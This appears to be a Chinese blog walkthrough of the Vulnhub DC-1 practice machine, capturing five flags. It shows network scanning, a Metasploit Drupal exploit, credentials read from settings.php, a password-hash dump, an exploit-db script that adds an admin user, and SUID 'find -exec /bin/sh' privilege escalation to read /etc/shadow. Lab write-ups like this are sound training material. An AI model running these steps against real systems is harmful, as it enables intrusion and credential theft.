Vulnhub 靶机实战系列:DC -1

靶机搭建

靶机下载地址:
https://www.five86.com/dc-1.html
www.five86.com
靶机DC-1与kali都以NAT模式连接网络
DC-1

信息收集

1.使用arp-scan探索

arp-scan -l		//命令探测同一区域中存活主机

kali ip:192.168.175.134
DC-1 ip:192.168.175.128
在这里插入图片描述

2.使用Namp扫描

Namp -A 192.168.175.128		//全面扫描

开放了22 ssh、80 http apache、111 rpcbind
在这里插入图片描述
3.访问80端口
80
4.查看CMS版本
CMS版本

漏洞利用

msfconsole		//启动metasploit
search drupal   //搜索drupal模块的exploit

search drupal

use 1				//利用第一个漏洞
show options 		//查看需要配置项

在这里插入图片描述

Flag 1

set RHOSTS 192.168.175.128		//设置远程主机的IP为靶机的IP地址
exploit		//开始利用,取得meterpreter

meterpreter

ls		//查看目录,发现 flag1.txt

在这里插入图片描述

cat flag1.txt		//查看	flag1.txt
得到 flag1 信息 :Every good CMS needs a config file - and so do you.		

在这里插入图片描述

Flag 2

切换到Drupal的配置文件	site/default/setting.php
cd sites/default		//进入	sites/default 
cat settings.php		//打开	settings.php
得到 flag2 信息:
Brute force and dictionary attacks aren't the only ways to gain access (and you WILL need access).  
What can you do with these credentials?
数据库信息:
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',

在这里插入图片描述

Flag 3

meterpreter > mysql -udbuser -pR0ck3t		//使用mysql命令登录,发现MySQL命令无效

meterpreter > shell		//进入shell
mysql -udbuser -pR0ck3t		//再次登录mysql发现终端不能正常回显信息

在这里插入图片描述

meterpreter > shell		//进入shell
python -V		//查看python版本
python -c 'import pty; pty.spawn("/bin/bash")'		//通过pty.spawn()获得交互式shell

在这里插入图片描述

mysql -udbuser -pR0ck3t		//登录MySQL数据库
mysql> show databases;		//查看数据库

在这里插入图片描述

mysql> use drupaldb;		//使用drupaldb数据库
mysql> show tables;		//查看数据库内的表

在这里插入图片描述

mysql> select * from users;		//查看users表内容
name:admin 
pass:$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR

在这里插入图片描述在exploitdb中有一个针对Drupal 7版本的攻击脚本,可以增加一个admin权限的用户账号

cat /var/www/includes/bootstrap.inc  |  grep VERSION		//查看Drupal版本,确定Drupal版本为7.24

在这里插入图片描述

msf > searchsploit drupal		//查找针对Drupal的攻击脚本
//攻击脚本适用于7.31以下,所以适合7.24版本

在这里插入图片描述

利用drupal7.0版本漏洞增加有admin权限的用户:admin1/admin1
python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.175.128 -u admin1 -p admin1   

在这里插入图片描述在这里插入图片描述
使用新添加的用户admin1/admin1登录网站,在content模块下,找到flag3
在这里插入图片描述在这里插入图片描述Flag3 : Special PERMS will help FIND the passwd - but you’ll need to -exec that command to work out how to get what’s in the shadow.

Flag 4

Flag3提示 shadow文件,并使用find命令提权

find / -perm -4000		//使用find命令查找有特殊权限suid的命令

在这里插入图片描述

find ./ aaa -exec '/bin/sh' \;		//使用find命令提权
cat /etc/shadow		//查看/etc/shadow 文件
//发现flag4用户,并且flag4用户可以登录并且有密码,所以存在flag4的家目录

在这里插入图片描述

进入flag4用户的家目录/home/flag4,找到flag4.txt
flag4 :
Can you use this same method to find or access the flag in root?

Probably. But perhaps it's not that easy.  Or maybe it is?

在这里插入图片描述

The finalflag

cd /root		//进入到root家目录
cat thefinalflag.txt

在这里插入图片描述
thefinalflag:
Well done!!!
Hopefully you’ve enjoyed this and learned some new skills.
You can let me know what you thought of this little journey

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

王玄清

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值